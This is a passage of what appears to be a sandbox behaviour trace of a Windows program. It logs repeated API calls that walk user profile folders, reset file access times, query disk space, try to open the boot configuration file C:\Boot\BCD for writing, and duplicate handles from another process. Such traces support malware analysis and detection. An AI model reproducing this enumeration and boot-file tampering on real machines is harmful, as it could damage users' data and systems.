dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0258.283] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.283] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.332] CreateFileW (lpFileName="C:\\Users\\Default\\Local Settings" (normalized: "c:\\users\\default\\local settings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.332] CreateFileW (lpFileName="C:\\Users\\Default\\Music" (normalized: "c:\\users\\default\\music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0258.332] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.332] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.332] CreateFileW (lpFileName="C:\\Users\\Default\\My Documents" (normalized: "c:\\users\\default\\my documents"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.333] CreateFileW (lpFileName="C:\\Users\\Default\\NetHood" (normalized: "c:\\users\\default\\nethood"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.333] CreateFileW (lpFileName="C:\\Users\\Default\\Pictures" (normalized: "c:\\users\\default\\pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0258.333] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.333] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.334] CreateFileW (lpFileName="C:\\Users\\Default\\PrintHood" (normalized: "c:\\users\\default\\printhood"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.334] CreateFileW (lpFileName="C:\\Users\\Default\\Recent" (normalized: "c:\\users\\default\\recent"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.334] CreateFileW (lpFileName="C:\\Users\\Default\\Saved Games" (normalized: "c:\\users\\default\\saved games"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0258.334] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.334] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.335] CreateFileW (lpFileName="C:\\Users\\Default\\Searches" (normalized: "c:\\users\\default\\searches"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0258.335] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.335] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.367] CreateFileW (lpFileName="C:\\Users\\Default\\SendTo" (normalized: "c:\\users\\default\\sendto"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.367] CreateFileW (lpFileName="C:\\Users\\Default\\Start Menu" (normalized: "c:\\users\\default\\start menu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.367] CreateFileW (lpFileName="C:\\Users\\Default\\Templates" (normalized: "c:\\users\\default\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.368] CreateFileW (lpFileName="C:\\Users\\Default\\Videos" (normalized: "c:\\users\\default\\videos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0258.368] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.368] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.368] CreateFileW (lpFileName="C:\\Users\\Default User" (normalized: "c:\\users\\default user"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.368] CreateFileW (lpFileName="C:\\Users\\Public" (normalized: "c:\\users\\public"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0258.369] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0258.369] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0258.369] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop" (normalized: "c:\\users\\public\\desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0258.369] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.369] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.369] CreateFileW (lpFileName="C:\\Users\\Public\\Documents" (normalized: "c:\\users\\public\\documents"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0258.369] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.369] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.370] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Music" (normalized: "c:\\users\\public\\documents\\my music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.370] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Pictures" (normalized: "c:\\users\\public\\documents\\my pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.370] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Videos" (normalized: "c:\\users\\public\\documents\\my videos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.371] CreateFileW (lpFileName="C:\\Users\\Public\\Downloads" (normalized: "c:\\users\\public\\downloads"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0258.371] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.371] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.371] CreateFileW (lpFileName="C:\\Users\\Public\\Favorites" (normalized: "c:\\users\\public\\favorites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0258.371] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.371] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.372] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries" (normalized: "c:\\users\\public\\libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0258.372] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.372] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.372] CreateFileW (lpFileName="C:\\Users\\Public\\Music" (normalized: "c:\\users\\public\\music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0258.372] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.372] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.374] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music" (normalized: "c:\\users\\public\\music\\sample music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0258.374] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0258.375] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0258.413] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures" (normalized: "c:\\users\\public\\pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0258.413] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.413] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.414] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures" (normalized: "c:\\users\\public\\pictures\\sample pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0258.414] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0258.414] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0258.505] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV" (normalized: "c:\\users\\public\\recorded tv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0258.505] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.505] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.506] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media" (normalized: "c:\\users\\public\\recorded tv\\sample media"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0258.506] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0258.506] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0258.506] CreateFileW (lpFileName="C:\\Users\\Public\\Videos" (normalized: "c:\\users\\public\\videos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0258.506] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.506] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.507] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos" (normalized: "c:\\users\\public\\videos\\sample videos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0258.507] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0258.507] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0258.507] CreateFileW (lpFileName="C:\\Windows" (normalized: "c:\\windows"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0258.507] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff974, lpLastWriteTime=0x15ff974) returned 0 [0258.507] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0) returned 0 [0258.509] GetDiskFreeSpaceExW (in: lpDirectoryName="C:", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0258.517] GetDiskFreeSpaceExW (in: lpDirectoryName="C:", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0258.517] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0258.518] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0258.518] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0259.113] TerminateThread (hThread=0x6, dwExitCode=0x0) returned 0 [0259.113] NtClose (Handle=0x6) returned 0x0 [0259.113] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x401489, lpParameter=0x18fed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4 [0259.114] ResetEvent (hEvent=0x114) returned 1 [0259.114] SetEvent (hEvent=0x110) returned 1 [0259.115] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.163] NtClose (Handle=0x1c8) returned 0x0 [0259.163] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x14, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.163] ResetEvent (hEvent=0x114) returned 1 [0259.163] SetEvent (hEvent=0x110) returned 1 [0259.163] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.164] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.164] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.164] NtClose (Handle=0x1c8) returned 0x0 [0259.164] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x18, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.164] ResetEvent (hEvent=0x114) returned 1 [0259.164] SetEvent (hEvent=0x110) returned 1 [0259.164] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.165] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.165] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.165] NtClose (Handle=0x1c8) returned 0x0 [0259.165] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x1c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.165] ResetEvent (hEvent=0x114) returned 1 [0259.165] SetEvent (hEvent=0x110) returned 1 [0259.165] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.166] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.166] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.166] NtClose (Handle=0x1c8) returned 0x0 [0259.166] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x20, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.166] ResetEvent (hEvent=0x114) returned 1 [0259.166] SetEvent (hEvent=0x110) returned 1 [0259.166] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.166] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.166] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.166] NtClose (Handle=0x1c8) returned 0x0 [0259.167] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x24, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.167] ResetEvent (hEvent=0x114) returned 1 [0259.167] SetEvent (hEvent=0x110) returned 1 [0259.167] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.167] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.167] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.167] NtClose (Handle=0x1c8) returned 0x0 [0259.167] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x28, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.167] ResetEvent (hEvent=0x114) returned 1 [0259.167] SetEvent (hEvent=0x110) returned 1 [0259.167] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.168] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.168] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.168] NtClose (Handle=0x1c8) returned 0x0 [0259.168] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x2c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.168] ResetEvent (hEvent=0x114) returned 1 [0259.168] SetEvent (hEvent=0x110) returned 1 [0259.168] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.169] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.169] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.169] NtClose (Handle=0x1c8) returned 0x0 [0259.169] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x30, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.169] ResetEvent (hEvent=0x114) returned 1 [0259.169] SetEvent (hEvent=0x110) returned 1 [0259.169] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.169] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.169] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.169] NtClose (Handle=0x1c8) returned 0x0 [0259.169] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x34, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.169] ResetEvent (hEvent=0x114) returned 1 [0259.170] SetEvent (hEvent=0x110) returned 1 [0259.170] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.170] RtlAllocateHeap (HeapHandle=0x4a0000, 